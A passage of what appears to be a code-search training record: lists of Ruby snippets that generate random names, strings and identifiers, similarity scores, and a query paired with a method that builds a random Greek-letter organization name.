"def random_id\n \"#{('a'..'z').to_a.sample}-#{SecureRandom.alphanumeric(6)}\"\n end",
"def pseudo_random_uppercase_string(length=6)\n (0...length).map{(65 + rand(25)).chr}.join\n end",
"def random_name\n SecureRandom.hex(20)\n end",
"def create_name\n colors = @colors\n first = colors.sort_by{rand}.first.split('')[0..2].sort_by{rand}.to_s\n last = colors.sort_by{rand}.last.split('')[0..2].sort_by{rand}.to_s\n return \"--- #{first}.#{@remainder}.#{last} ---\"\n end",
"def random_username\n word_list.sample.gsub(/[^0-9a-z]/i, '')\n end",
"def getSomeCoolName\n\t\tnames = File.open(\"NazwyKonferencji\").read.split(\"\\n\")\n\t\tnames[rand(names.size)]\n\tend",
"def random_nick() (0..8).map { rand(65..90).chr }.join'' end",
"def random_lcc\n \"#{random_letters(1).capitalize}#{random_num_string(pick_range(1..3))}.#{random_letters(pick_range(1..3)).capitalize}#{random_num_string(pick_range(1..3))}\"\n end",
"def random_lcc\n \"#{random_letters(1).capitalize}#{random_num_string(pick_range(1..3))}.#{random_letters(pick_range(1..3)).capitalize}#{random_num_string(pick_range(1..3))}\"\n end",
"def city_suffix; end",
"def generate\n\t name = ' ' + get_starting_letter\n\t # since the name already has a starting letter the total name length will\n\t # be one more than the selected name_length_distribution selected\t\n\t\tname_length_distribution = [3, 3, 4, 4, 4, 5, 5, 5, 6, 6, 7, 8, 9]\n\t\tdesired_length = name_length_distribution.at(@random_number_generator.rand(0...12))\n\t\t\t\t\n\t\t(desired_length - 1).times do\t\t\t\t\t\t\n\t\t\tname += get_next_letter(name[name.length - 2], name[name.length - 1])\n\t\tend\n\n\t\tname += get_last_letter(name[name.length - 1], name[name.length - 2])\n name.lstrip.capitalize\n\tend",
"def suffixize(lang)\n lang.blank? ? \"\" : \"_#{lang}\"\n end",
"def generate_unique_name\n SecureRandom.uuid\n end",
"def zh_lorem_last_name(replacement = nil)\n if replacement\n return replacement\n end\n\n x = %w[李 王 張 劉 陳 楊 黃 趙 周 吳 徐 孫 朱 馬 胡 郭 林 何 高 梁 鄭 羅 宋 謝 唐 韓 曹 許 鄧 蕭 馮 曾 程 蔡 彭 潘 袁 於 董 餘 蘇 葉 呂 魏 蔣 田 杜 丁 沈 姜 範 江 傅 鐘 盧 汪 戴 崔 任 陸 廖 姚 方 金 邱 夏 譚 韋 賈 鄒 石 熊 孟 秦 閻 薛 侯 雷 白 龍 段 郝 孔 邵 史 毛 常 萬 顧 賴 武 康 賀 嚴 尹 錢 施 牛 洪 龔]\n return x[rand(x.size)]\n end",
"def suffix; end",
"def suffix; end",
"def suffix; end",
"def suffix; end",
"def suffix; end",
"def random_common_name(domain_name)\n cert_serial_number(domain_name).to_s(36)\n end",
"def random_common_name(domain_name)\n cert_serial_number(domain_name).to_s(36)\n end",
"def name(for_sex = :random)\n with_same_sex(for_sex) do\n case rand(0..1)\n when 0 then \"#{last_name} #{first_name} #{patronymic}\"\n else \"#{first_name} #{last_name}\"\n end\n end\n end",
"def name_female\n case rand(10)\n when 7 then \"#{prefix_female} #{first_name_female} #{last_name}\"\n when 5 then \"#{prefix_female} #{first_name_female} #{last_name}\"\n when 3 then \"#{first_name_female} #{last_name}\"\n when 0 then \"#{first_name_female} #{last_name}\"\n else \"#{first_name_female} #{last_name}\"\n end\n end",
"def domain_suffix\n offset = environment_first_char.ord - 97\n ENV[\"SUFFIX_CHARACTERS\"][offset..offset + 4]\n end",
"def last_name\n Faker::Name.last_name\n end",
"def last_name\n Faker::Name.last_name\n end",
"def last_name\n Faker::Name.last_name\n end",
"def last_name(for_sex = :random)\n fetch_sample(LAST_NAMES[select_sex(for_sex)])\n end",
"def last_name(for_sex = :random)\n fetch_sample(LAST_NAMES[select_sex(for_sex)])\n end",
"def make_identifier_suffix( url )\n\t\treturn url.to_s.gsub( /\\W+/, '-' )\n\tend",
"def generate_slug\n date = DateTime.current\n seed = sprintf '%03d', rand(0..999)\n major, minor = VERSION.split('.')[0..1]\n minor = sprintf '%02d', minor\n self.slug = date.strftime(\"%m%d-%y-#{major}#{minor}#{seed}\")\n end",
"def name\n \"#{WORDS.sample} #{WORDS.sample} #{rand(1_000_000)} #{Time.now.to_i}\"\n end",
"def random_test_name\n @fake_name.name\n end",
"def gen_name\n name.to_s.downcase\n end",
"def unique_resource_name(build_option_name, suffix)\n normalised_name = build_option_name.downcase.gsub(/[^a-z]+/, '-')\n \"#{normalised_name}##{suffix}\"\n end",
"def unique_name(name)\n \"pedant_#{name}_#{pedant_suffix}\"\n end",
"def generate\n name = ' ' + get_starting_letter\n # since the name already has a starting letter the total name length will\n # be one more than the selected name_length_distribution selected\n name_length_distribution = [3, 3, 4, 4, 4, 5, 5, 5, 6, 6, 7, 8, 9]\n desired_length = name_length_distribution.at(@random_number_generator.rand(0...12))\n\n (desired_length - 1).times do\n name += get_next_letter(name[name.length - 2], name[name.length - 1])\n end\n\n name += get_last_letter(name[name.length - 1], name[name.length - 2])\n name.lstrip.capitalize\n end",
"def prefix_male\n PREFIX_MALE.rand\n end",
"def random_username\n # \"batterypop-#{(rand * 10000).to_i}\"\n \"batterypop-#{Time.now.to_i}\"\n end",
"def random_string\n (0...100).map { (\"a\"..\"z\").to_a[rand(26)] }.join\n end",
"def random_string\n (0...100).map { (\"a\"..\"z\").to_a[rand(26)] }.join\n end",
"def da_first_name_m\n %w(Lucas Magnus Mathias Frederik Oliver Emil Mikkel Victor Tobias Sebastian Mads Nikolaj Rasmus Marcus Christian Noah Jonas Jakob Kasper Oscar Andreas Alexander William Simon Gustav Nicklas Malthe Daniel Benjamin Philip Christoffer Anton Jeppe Anders Lasse Carl Silas Jonathan Marius Elias August Patrick Valdemar Thomas Laurits Bertram Martin David Hjalte Albert ).rand\n end",
"def get_random_profile_name\n @profiles_data[rand(0...@profiles_data.count)][:name]\n end",
"def generate_username_for_district(district_guid, first_name, last_name, iteration = 0)\n username = first_name.downcase[0] + last_name.downcase[0..4]\n username += iteration.to_s if iteration > 0\n return username if username_unique_for_district?(district_guid, username)\n return generate_username_for_district(district_guid, first_name, last_name, iteration + 1)\n end",
"def random_alias\n 12.times.map { (SecureRandom.random_number(26) + 97).chr }.join\n end",
"def generate_username(base)\n username = base\n\n suffix = 0\n while User.exists?(username: username)\n username = \"#{base}#{suffix}\"\n suffix += 1\n end\n\n username\n end",
"def const_name length=rand_base.random_length, &check\n weight = 3\n rand_base.check_result check do\n rand_base.alpha(1, rand_base::ALPHA_UPCASE) + rand_base.alpha(length-1, rand_base::ALPHA_UPCASE + ['_'] * weight)\n end\n end",
"def generate_free_insurance_id\n return 'AiShanXing' + DateTime.current.in_time_zone('Beijing').to_s(:number) + ('0'..'9').to_a.shuffle[0..3].join\n end",
"def random_string\n\t# generate a bucket of chars for randomization\n\tbucket = [('a'..'z'),('A'..'Z'),(0..9)].map{|i| i.to_a}.flatten\n\t # pick random chars from the bucket and return a 255 char string\n\treturn (0...255).map{ bucket[rand(bucket.length)] }.join\nend",
"def gen_unique_app_name\n chars = (\"1\"..\"9\").to_a\n \"app\" + Array.new(4, '').collect{chars[rand(chars.size)]}.join\n end",
"def suffix\n fetch('company.suffix')\n end",
"def homework_number\n \"#{homework_phone_prefix}-#{rand(8..9)}#{FFaker.numerify('##-##-##')}\"\n end",
"def randomString\n o = [('a'..'z'),('A'..'Z'),(0..9)].map{|i| i.to_a}.flatten \n string = (1..ROOM_NAME_LENGTH).map{ o[rand(o.length)] }.join\n end",
"def name_prefix\n Faker::Name.prefix\n end",
"def name_prefix\n Faker::Name.prefix\n end",
"def create_single_name\n base_name = String.new(Faker::Games::ElderScrolls.creature)\n if base_name.split.size >= 1\n base_name.split.last\n else\n return base_name\n end\n end",
"def generate_subjectid\n\t\tsubjectids = ( (1..999999).to_a - StudySubject.select('subjectid'\n\t\t\t).collect(&:subjectid).collect(&:to_i) )\n\t\tsprintf(\"%06d\",subjectids[rand(subjectids.length)].to_i)\n\tend",
"def generate_username3 (fir, las, year)\n\tye = year.to_s\n\tfir[0] + las + ye[-2..-1] unless ye.length != 4\nend",
"def suffix(num)\n namespace + '_suffix_' + num.to_s\n end",
"def create_random_name\n String.new(Faker::Games::ElderScrolls.creature)\n end",
"def rand_title_two\n 5.times.map do\n rand_word(8).capitalize + ' '\n end.join(' ').rstrip!\nend",
"def random_username( givenname_full, surname )\n name_part_separator =\n UsernamePartSeparators[rand(UsernamePartSeparators.length)]\n givenname = givenname_full.split(/\\s/).join(name_part_separator)\n erb_template = ERB.new( UsernameTemplates[rand(UsernameTemplates.length)] )\n erb_template.result( binding )\n end"
] |
[
"0.7820027",
"0.7701956",
"0.7701956",
"0.71493447",
"0.7126056",
"0.7121794",
"0.69519734",
"0.6873504",
"0.68715507",
"0.6841452",
"0.68146306",
"0.67499286",
"0.67499286",
"0.6697289",
"0.66474015",
"0.66392887",
"0.6633015",
"0.6599822",
"0.65928555",
"0.65899706",
"0.6587727",
"0.65209806",
"0.65017945",
"0.650095",
"0.6472529",
"0.6462543",
"0.6457168",
"0.6457168",
"0.64346176",
"0.64005756",
"0.63835794",
"0.6378387",
"0.6369882",
"0.6359088",
"0.63585454",
"0.6325526",
"0.63162404",
"0.6302462",
"0.6288613",
"0.62831193",
"0.6280522",
"0.6250556",
"0.62457776",
"0.62449306",
"0.62246054",
"0.6195418",
"0.6195418",
"0.61915284",
"0.61874396",
"0.6185521",
"0.61788666",
"0.6173268",
"0.6169934",
"0.6169934",
"0.6169934",
"0.6169934",
"0.6169934",
"0.61688507",
"0.61688507",
"0.6155635",
"0.6155417",
"0.61467254",
"0.6140452",
"0.6140452",
"0.6140452",
"0.612665",
"0.612665",
"0.6125894",
"0.6124902",
"0.6121284",
"0.61047256",
"0.6093975",
"0.6090167",
"0.6086262",
"0.6085163",
"0.60669607",
"0.60658914",
"0.6061168",
"0.6061168",
"0.6038419",
"0.6016326",
"0.60134596",
"0.60084885",
"0.60039365",
"0.5982118",
"0.597465",
"0.5963974",
"0.595298",
"0.5950531",
"0.5938111",
"0.59273326",
"0.5919801",
"0.5919801",
"0.59186286",
"0.59168744",
"0.59157664",
"0.5915406",
"0.59122795",
"0.59091645",
"0.5906569"
] |
0.75594825
|
3
|
Produces a random greek organization.
|
def greek_organization
Array.new(3) { |_| sample(greek_alphabet) }.join
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def greek_organization; end",
"def random_name\n (1..3).map {\"\" << rand(26) + 65}.to_s\n end",
"def rand_brancket\n (rand(2) == 0) ? \"【#{FFaker::Food.meat}】\" : ''\nend",
"def random_string\n (0...100).map { (\"a\"..\"z\").to_a[rand(26)] }.join\n end",
"def random_string\n (0...100).map { (\"a\"..\"z\").to_a[rand(26)] }.join\n end",
"def random_vrn\n (Array(('A'..'Z')).sample(3) + Array((0..9)).sample(3)).join\n end",
"def random_key\n o = [('a'..'z'), ('A'..'Z')].map(&:to_a).flatten\n (0...8).map { o[rand(o.length)] }.join\n end",
"def random_key\n (0...10).map { ('a'..'z').to_a[rand(26)] }.join\n end",
"def random_name\n letters = ('AA'..'ZZ').to_a.sample()\n digits = ('000'..'999').to_a.sample()\n letters + digits\n end",
"def greek(chars)\n Lorem::Base.new('chars', chars).output\n end",
"def random_letter\n (rand(93) + 33).chr\n end",
"def random_plate\n [*('a'..'z'), *('A'..'Z')].sample(5).join\n end",
"def janken\n\tdata = %w(グー チョキ パー)\n\tp data[rand 3]\nend",
"def random_string\n letters = [['!','\"','$','&',';','@'],\n ('a'..'z').to_a,\n ('A'..'Z').to_a,\n ('0'..'9').to_a].flatten\n (1..16).map { |i| letters[ rand(letters.length) ] }.join\n end",
"def generate_greeting\n languages = %w[French Spanish English Italian Hindi Japanese Korean Chinese Tamil Polish Dutch German Swedish]\n greetings = %w[Bonjour Hola Greetings Ciao שלום こんにちは 여보세요 你好 வணக்கம் Cześć Hallo Guten\\ Tag Hej]\n selection = rand(languages.length)\n @greeting_language = languages[selection]\n @greeting = greetings[selection]\n end",
"def meow()\n punctuations = '.!?'\n \"#{CAT_FACES[rand(CAT_FACES.length)]} Meow#{punctuations[rand(punctuations.length)]}\"\n end",
"def random_name_generator\n letter_array = (\"A\" .. \"Z\").to_a\n three_letters = letter_array.shuffle.pop(3).join(\"\")\n three_numbers = (1..9).to_a.shuffle.pop(3).join(\"\")\n result = three_letters + three_numbers\n end",
"def random_pattern\n randomish_string = ('a'..'z').to_a.shuffle.join\n randomish_color = \"%06x\" % (rand * 0xffffff)\n return GeoPattern.generate(randomish_string, color: randomish_color )\n end",
"def random_ascii\n print send(all_giraffes[rand(all_giraffes.length)])\n end",
"def random_string\n (0...8).map { (65 + rand(26)).chr }.join\n end",
"def random_alias\n 12.times.map { (SecureRandom.random_number(26) + 97).chr }.join\n end",
"def random_string\n\t# generate a bucket of chars for randomization\n\tbucket = [('a'..'z'),('A'..'Z'),(0..9)].map{|i| i.to_a}.flatten\n\t # pick random chars from the bucket and return a 255 char string\n\treturn (0...255).map{ bucket[rand(bucket.length)] }.join\nend",
"def utter_randomly\n length = Utterance::MinLength +\n rand(Utterance::MaxLength - Utterance::MinLength)\n (0...length).map{ Alphabet.sample }.join\n end",
"def draw_letters\n letter_freq = {\n A: 9, N: 6, B: 2, O: 8, C: 2, P: 2, D: 4, Q: 1, E: 12, R: 6, F: 2, S: 4,\n G: 3, T: 6, H: 2, U: 4, I: 9, V: 2, J: 1, W: 2, K: 1, X: 1, L: 4, Y: 2, M: 2, Z: 1,\n }\n\n avail_letters = array_gen(letter_freq)\n used_letters = avail_letters.sample(10)\n\n return used_letters\nend",
"def random_coord\n letter = [\"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\", \"I\", \"J\"].sample\n number = rand(1..10).to_s\n letter + number\n end",
"def goblin_generator\n\t\n\tstat = Random.new\n\t@goblin = {\n\tname: \"goblin\",\n\tstrength: stat.rand(3..5),\n\tintelligence: stat.rand(1..4),\n\tdexterity: stat.rand(4..8),\n\tvitality: stat.rand(1..3),\n\tbeauty: stat.rand(1..2),\n\tgold: stat.rand(1..3),\n\txp_value: 10,\n\tweapon: \"short sword\"\n\t}\n\nend",
"def crear_preguntas\n\texamen = []\n\t10.times do |n|\n\t\texamen << (n.odd? ? Faker::HitchhikersGuideToTheGalaxy.marvin_quote :\tFaker::ChuckNorris.fact)\n\tend\n\texamen.join(' ')\nend",
"def gene_seed\n\tseed = rand(4)\n\tif seed == 0\n\t\tm = \"A\"\n\telsif seed == 1\n\t\tm = \"B\"\n\telsif seed == 2\n\t\tm = \"a\"\n\telse\n\t\tm = \"b\"\n\tend\n\n\tseed = rand(4)\n\tif seed == 0\n\t\tn = \"A\"\n\telsif seed == 1\n\t\tn = \"B\"\n\telsif seed == 2\n\t\tn = \"a\"\n\telse\n\t\tn = \"b\"\n\tend\n\n\tputs \"#{m}#{n}\"\n \treturn \"#{m}#{n}\"\nend",
"def create\n concept = (0..3).map { ('A'..'Z').to_a[rand(26)] }.join\n puts concept\n return concept\n end",
"def random_name(number)\n charset = Array('a'..'z')\n Array.new(number) { charset.sample }.join\n end",
"def random_subdomain\n puts (\"a\"..\"z\").to_a.sample(8).join\n end",
"def get_random_string\r\n length=30\r\n source=(\"a\"..\"z\").to_a + (\"A\"..\"Z\").to_a + (0..9).to_a + [\"_\",\"-\"]\r\n key=\"\"\r\n length.times{ key += source[rand(source.size)].to_s }\r\n return key\r\nend",
"def generate_random_key\n (0...8).map { 65.+(rand(25)).chr }.join\n end",
"def generate\n ('a'..'z').to_a.shuffle[0, length].join.capitalize\n end",
"def generate_grid\n (0...10).map { ('A'..'Z').to_a[rand(26)] }\n end",
"def random_genome\n genome = \"\"\n (1..50).each do |i|\n genome += genome_map[rand(26)]\n end\n genome\n end",
"def draw_letters\n compact_bag = {\n \"A\" => 9,\n \"B\" => 2, \n \"C\" => 2, \n \"D\" => 4, \n \"E\" => 12, \n \"F\" => 2, \n \"G\" => 3, \n \"H\" => 2, \n \"I\" => 9,\n \"J\" => 1, \n \"K\" => 1, \n \"L\" => 4,\n \"M\" => 2,\n \"N\" => 6,\n \"O\" => 8,\n \"P\" => 2, \n \"Q\" => 1, \n \"R\" => 6,\n \"S\" => 4, \n \"T\" => 6,\n \"U\" => 4,\n \"V\" => 2,\n \"W\" => 2,\n \"X\" => 1, \n \"Y\" => 2, \n \"Z\" => 1\n }\n expanded_bag = []\n compact_bag.each do |letters, number|\n number.times do \n expanded_bag << letters\n end\n end \n\n random = []\n\n 10.times do \n x = rand expanded_bag.length\n while random.include? x\n x = rand expanded_bag.length\n end\n random << x\n end\n\n hand = random.map {|number| expanded_bag[number]}\nend",
"def get_random_dir()\n return (0...50).map { ('a'..'z').to_a[rand(26)] }.join\n end",
"def generate_string\n (0...6).map{(65+rand(26)).chr}.join\n end",
"def rand_text_highascii(length, bad=payload_badchars)\n if debugging?\n rand_text_debug(length)\n else\n Rex::Text.rand_text_highascii(length, bad)\n end\n end",
"def randomString\r\n\t(0...8).map{(65+rand(26)).chr}.join\r\nend",
"def generate_randoms\n @alphas = (\"a\"..\"z\").collect{|alpha| alpha }\n @numerics = (1..9).collect{|num| num }\n end",
"def generar_llave\n cadena = [('a'..'z'), ('A'..'Z')].map { |i| i.to_a }.flatten\n llave = (0...6).map{ cadena[rand(cadena.length)] }.join\n llave\n end",
"def greeting\n greetings = [\"Hello\", \"Hey\", \"Greetings\", \"Salutations\", \"Welcome\"]\n greetings[rand(greetings.size)]\n end",
"def create_random_name\n String.new(Faker::Games::ElderScrolls.creature)\n end",
"def random_word\n\t\tLEGAL_WORDS.sample # Gets random element from array\n\tend",
"def greeting\n\t\t# array of greetings and offers\n\t\tgreetings = [\"Hey!\", \"Hello!\", \"Good day!\", \"Greetings!\", \"Hi!\"]\n\t\toffer = [\"Can I help you?\", \"How can I help you?\", \"Do you need help?\", \"What can I help you with?\"]\n\t\t\n\t\t# construct random sentence\n\t\tg = greetings.sample\n\t\to = offer.sample\n\t\tsentence = g + \" \" + o\n\t\t\n\t\t# return sentence\n\t\treturn sentence\n\tend",
"def random_str()\n p (0...5).map { (65 + rand(26)).chr }.join\nend",
"def generate\n @letters = alphabet\n include_letters\n exclude_letters\n shuffle_alphabet_maybe\n reverse_alphabet_maybe\n @letters.split('').join(' ')\n end",
"def randstr\n (0...50).map{ ('a'..'z').to_a[rand(26)] }.join\nend",
"def random_face_emoji\n %w[cool goofy monocle sly smile think].sample\n end",
"def generate\n\t name = ' ' + get_starting_letter\n\t # since the name already has a starting letter the total name length will\n\t # be one more than the selected name_length_distribution selected\t\n\t\tname_length_distribution = [3, 3, 4, 4, 4, 5, 5, 5, 6, 6, 7, 8, 9]\n\t\tdesired_length = name_length_distribution.at(@random_number_generator.rand(0...12))\n\t\t\t\t\n\t\t(desired_length - 1).times do\t\t\t\t\t\t\n\t\t\tname += get_next_letter(name[name.length - 2], name[name.length - 1])\n\t\tend\n\n\t\tname += get_last_letter(name[name.length - 1], name[name.length - 2])\n name.lstrip.capitalize\n\tend",
"def to_s\n return \"This is a random text generator!\"\n end",
"def randomString\n o = [('a'..'z'),('A'..'Z'),(0..9)].map{|i| i.to_a}.flatten \n string = (1..ROOM_NAME_LENGTH).map{ o[rand(o.length)] }.join\n end",
"def genclase\n \"M\"\n end",
"def mk_intro\n [\"Kære \", \"Hej \", \"Goddag, \"].sample + @name\n end",
"def get_dept\n \n DEPTS[Kernel.rand(DEPTS.length-1)].to_s\n\nend",
"def generate_entry\n all_the_feels = $feelings.values.flatten\n entry = \"%02d/%02d \" % [rand(12)+1,rand(28)+1]\n 10.times do\n if rand(4) < 1\n entry += all_the_feels[rand(all_the_feels.length)]\n else\n entry += \"---\"\n end\n entry += \" \"\n end\n return entry\nend",
"def rand_math\n mathphrase(rand(1..20))\nend",
"def random_name\n \"#{random_letters(pick_range(4..12)).capitalize} #{random_letters(pick_range(4..12)).capitalize}\"\n end",
"def random_name\n \"#{random_letters(pick_range(4..12)).capitalize} #{random_letters(pick_range(4..12)).capitalize}\"\n end",
"def draw\n letters.delete_at(rand(letters.size))\n end",
"def random_character\n Random.rand(32...127).chr\nend",
"def qt_monkey_random_text \n return '\"generated: \" << (\"random\" * rand(5)) << ( \"text\" * rand(5))' \n end",
"def poor_random\n (0...16).map { rand(97..122).chr }.join\n end",
"def draw_word\n @words.sample(random: Ibsenphrase::Random.prng)\n end",
"def random_big_string offset = rand(1..500)\n generate_string(25000 + offset)\n end",
"def generate_order_code\n\t\t\tsize = 5\n\t\t\tcharset = %w{0 1 2 3 4 6 7 9 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z}\n\t\t\tself.code = \"DH\" + Time.now.strftime(\"%Y\").last(2) + (0...size).map{ charset.to_a[rand(charset.size)] }.join\n\t\tend",
"def generate_string(size)\n charset = [('a'..'z'),('A'..'Z'),(0..9)].map { |i| i.to_a }.flatten\n return (0...size).map{ charset[rand(charset.length)] }.join\n end",
"def random_string size \n (0..size).map { ('a'..'z').to_a[rand(26)] }.join\n end",
"def qt_monkey_random_text\n return '\"generated: \" << (\"random\" * rand(5)) << ( \"text\" * rand(5))'\n end",
"def aleatorio(arr)\n puts \"Cadena aleatoria: #{(65+rand(26)).chr*5}\"\n \nend",
"def random_chars(num)\n\t\tchars = [\"\\u270a\",\"\\u231b\",\"\\u23f3\",\"\\u26a1\",\"\\u2b50\",\"\\u1f4aa\"]\n\t\treturn chars[rand(chars.count)]\n\tend",
"def random_lcc\n \"#{random_letters(1).capitalize}#{random_num_string(pick_range(1..3))}.#{random_letters(pick_range(1..3)).capitalize}#{random_num_string(pick_range(1..3))}\"\n end",
"def random_lcc\n \"#{random_letters(1).capitalize}#{random_num_string(pick_range(1..3))}.#{random_letters(pick_range(1..3)).capitalize}#{random_num_string(pick_range(1..3))}\"\n end",
"def fake_word\n DataFaker.hawaiian_word\nend",
"def name\n\t\t\tnew_name_letters = (0...2).map { ('a'..'z').to_a[rand(26)] }.join.upcase\n\t\t\tnew_name_numbers = (0...3).map { (0..9).to_a[rand(10)] }.join\n\t\t\tnew_name = [new_name_letters, new_name_numbers].join\n\t\t\t3.times do\n\t\t\t\tputs new_name\n\t\t\tend\n\tend",
"def getSomeCoolName\n\t\tnames = File.open(\"NazwyKonferencji\").read.split(\"\\n\")\n\t\tnames[rand(names.size)]\n\tend",
"def generate\n name = ' ' + get_starting_letter\n # since the name already has a starting letter the total name length will\n # be one more than the selected name_length_distribution selected\n name_length_distribution = [3, 3, 4, 4, 4, 5, 5, 5, 6, 6, 7, 8, 9]\n desired_length = name_length_distribution.at(@random_number_generator.rand(0...12))\n\n (desired_length - 1).times do\n name += get_next_letter(name[name.length - 2], name[name.length - 1])\n end\n\n name += get_last_letter(name[name.length - 1], name[name.length - 2])\n name.lstrip.capitalize\n end",
"def create_line(max_words)\n letters = [('a'..'z'), ('A'..'Z')].map(&:to_a).flatten # From a to z and from A to Z - All characters considered in ASCII\n words = []\n (0..rand(max_words)).each do\n word = (0..rand(25)).map { letters[rand(letters.length)] }.join # Gererate random strings with lenth between 1 and 26\n words.push(word)\n end\n words.join(' ')\n end",
"def random_alphanumeric\n (1..10).collect { ALPHANUMERIC[rand(ALPHANUMERIC.size)] }.join\n end",
"def get_continent\n\n\tcontinents = [\"US\", \"EU\", \"ASIA\"]\n\tcontinent = continents[Kernel.rand(continents.length-1)]\t\n\t\nend",
"def rand_text_english(length, bad=payload_badchars)\n if debugging?\n rand_text_debug(length)\n else\n Rex::Text.rand_text_english(length, bad)\n end\n end",
"def generate_letters( length )\n ('A'..'Z').to_a.sample( length ).join\n end",
"def draw_letters\n letter_pool = {\n A: 9, B: 2, C: 2, D: 4, E: 12, F: 2, G: 3, H: 2, I: 9, J: 1,K: 1, L: 4, M: 2, N: 6, O: 8, P: 2, Q: 1, R: 6, S: 4, T: 6, U: 4, V: 2, W: 2, X: 1, Y: 2, Z: 1 \n }\n\n hand = []\n letter_pool.each do |letter, quantity|\n quantity.times do |i|\n hand << letter.to_s\n end\n end\n\n return hand.sample(10)\nend",
"def generate_key(size = 6)\n charset = %w{ 2 3 4 6 7 9 A C D E F G H J K L M N P Q R T V W X Y Z}\n (0...size).map{ charset.to_a[rand(charset.size)] }.join\nend",
"def generate_random_string(size = 64)\r\n charset = [('a'..'z'),('A'..'Z'),('0'..'9')].map{|i| i.to_a}.flatten; \r\n (0...size).map{ charset.to_a[rand(charset.size)] }.join\r\nend",
"def random_key\n text_length = @text.split('').length # See explanation in method key=.\n if @seed\n key = []\n text_length.times do\n key.push(@table[0][rand(@letter_set.length)])\n end\n else\n cmd = \"dd if=/dev/random bs=1 count=#{text_length}\"\n key = `#{cmd} 2>/dev/null`.chomp.unpack(\"C#{text_length}\")\n key.collect! { |i| @table[0][i % @letter_set.length] }\n end\n self.key = key.join ''\n end",
"def generate_random_key(length=32)\n\t\to = [('a'..'z'), (0..9)].map { |i| i.to_a }.flatten\n\t\t(0...length).map { o[rand(o.length)] }.join\n\tend",
"def random_nick() (0..8).map { rand(65..90).chr }.join'' end",
"def random_megazord\n megazords_arr = [\"Ninja Falcon Megazord\", \"Galaxy Megazord\", \"Thundersaurus Megazord\", \"Lightspeed Megazord\",\"DriveMax Megazord\", \"Wild Force Megazord\"]\n megazord = megazords_arr[rand(megazords_arr.length)]\nend",
"def rand_let options={}\r\n\tuppercase = random(0, 2) == 1\r\n\tuppercaseLet = random(65, 91).chr\r\n\tletter = (uppercase) ? (uppercaseLet) : (uppercaseLet.downcase) \r\n\tletter\r\nend",
"def random_subdomain\n ('a'..'z').to_a.shuffle[0..7].join\n end",
"def create_random_world\n randomize_terrain\n randomize_entities\n end",
"def random_char\n lower=32\n upper=126\n (rand(upper-lower+1) + lower).chr\n end",
"def test_possible_location_from_museum_if_rand_is_zero\r\n\t\toakland = City::new\r\n\t\trand_val = 0\r\n\t\tcathedral = oakland.generate_museum_locs(oakland, rand_val)\r\n\r\n\t\tassert_equal cathedral[0], \"Cathedral\"\r\n\t\tassert_equal cathedral[1][0], \"Bar St.\"\r\n\tend",
"def spanish_organisation_number(organization_type: nil)\n # Valid leading character: A, B, C, D, E, F, G, H, J, N, P, Q, R, S, U, V, W\n # format: 1 digit letter (organization type) + 7 digit numbers + 1 digit control (letter or number based on\n # organization type)\n letters = %w[A B C D E F G H J N P Q R S U V W]\n\n organization_type = sample(letters) unless letters.include?(organization_type)\n code = format('%07d', rand(10**7))\n control = spanish_cif_control_digit(organization_type, code)\n\n [organization_type, code, control].join\n end",
"def randomkey; end",
"def randomkey; end",
"def generate_token\n o = [('a'..'z'), ('A'..'Z')].map(&:to_a).flatten\n token = (0...50).map { o[rand(o.length)] }.join\n return token\n end"
] |
[
"0.70085377",
"0.63878703",
"0.6242443",
"0.62397784",
"0.62397784",
"0.6221738",
"0.62148243",
"0.61883605",
"0.61774874",
"0.6172007",
"0.61669487",
"0.6163203",
"0.615962",
"0.61050236",
"0.60813075",
"0.60620695",
"0.6050576",
"0.6020023",
"0.6017904",
"0.60037756",
"0.59958977",
"0.59830594",
"0.59743404",
"0.59684515",
"0.5952281",
"0.59406406",
"0.5904746",
"0.5900427",
"0.5888177",
"0.587705",
"0.58728313",
"0.58698094",
"0.5866621",
"0.5858362",
"0.58557963",
"0.5854493",
"0.58376783",
"0.58214766",
"0.5818947",
"0.58129656",
"0.58095616",
"0.5788771",
"0.57725036",
"0.5772133",
"0.5757938",
"0.5738639",
"0.57375973",
"0.57375354",
"0.5728401",
"0.57242316",
"0.57205",
"0.5719572",
"0.57149714",
"0.57112175",
"0.57090646",
"0.570068",
"0.5691919",
"0.5689449",
"0.56854707",
"0.5677671",
"0.5677671",
"0.56765676",
"0.5671218",
"0.565804",
"0.56557006",
"0.56510985",
"0.56417924",
"0.563962",
"0.5638757",
"0.5631749",
"0.5624872",
"0.5619963",
"0.561511",
"0.56141204",
"0.56141204",
"0.56064665",
"0.55994254",
"0.5596709",
"0.5589334",
"0.558873",
"0.5586621",
"0.5578723",
"0.5576266",
"0.55635154",
"0.55625397",
"0.5556864",
"0.55526686",
"0.5549475",
"0.5544941",
"0.5543817",
"0.55260724",
"0.55244094",
"0.5522549",
"0.55179274",
"0.5517414",
"0.55160344",
"0.5511535",
"0.5510399",
"0.5510399",
"0.55099857"
] |
0.8013974
|
0
|
Initialize the nodes source from a hash
|
def from_hash(data)
@query = data["query"]
self
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize\n @nodes_hash = Hash.new\n end",
"def initialize()\n @node_cnt = 0;\n @hash_table = Hash.new(); # setup empty hash\n end",
"def initialize(hash)\n load_hash(hash)\n end",
"def initialize hash\n @hash = hash\n end",
"def initialize(source_hash = T.unsafe(nil), default = T.unsafe(nil), &blk); end",
"def initialize(source: , hash:, key_column: nil)\n if source.is_a?(::ArcFurnace::Source) && hash.is_a?(::ArcFurnace::Hash)\n @hash = hash\n @source = source\n @key_column = key_column || hash.key_column\n else\n raise 'Must be passed one Hash and one Source!'\n end\n end",
"def init_from_source\n raise 'Missing source_data' if source_data.nil?\n self.source_fingerprint ||= Digest::SHA2.hexdigest(source_data)\n self.database ||= record.database\n self.uid ||= record.uid\n init_optional_attributes\n end",
"def initialize(tree_hash)\n tree_hash.each do |k, v|\n @node_name = k\n @children = get_children_from(v)\n end\n end",
"def initialize( hash )\n\t\t\t@hash = hash.dup\n\t\t\t@dirty = false\n\t\tend",
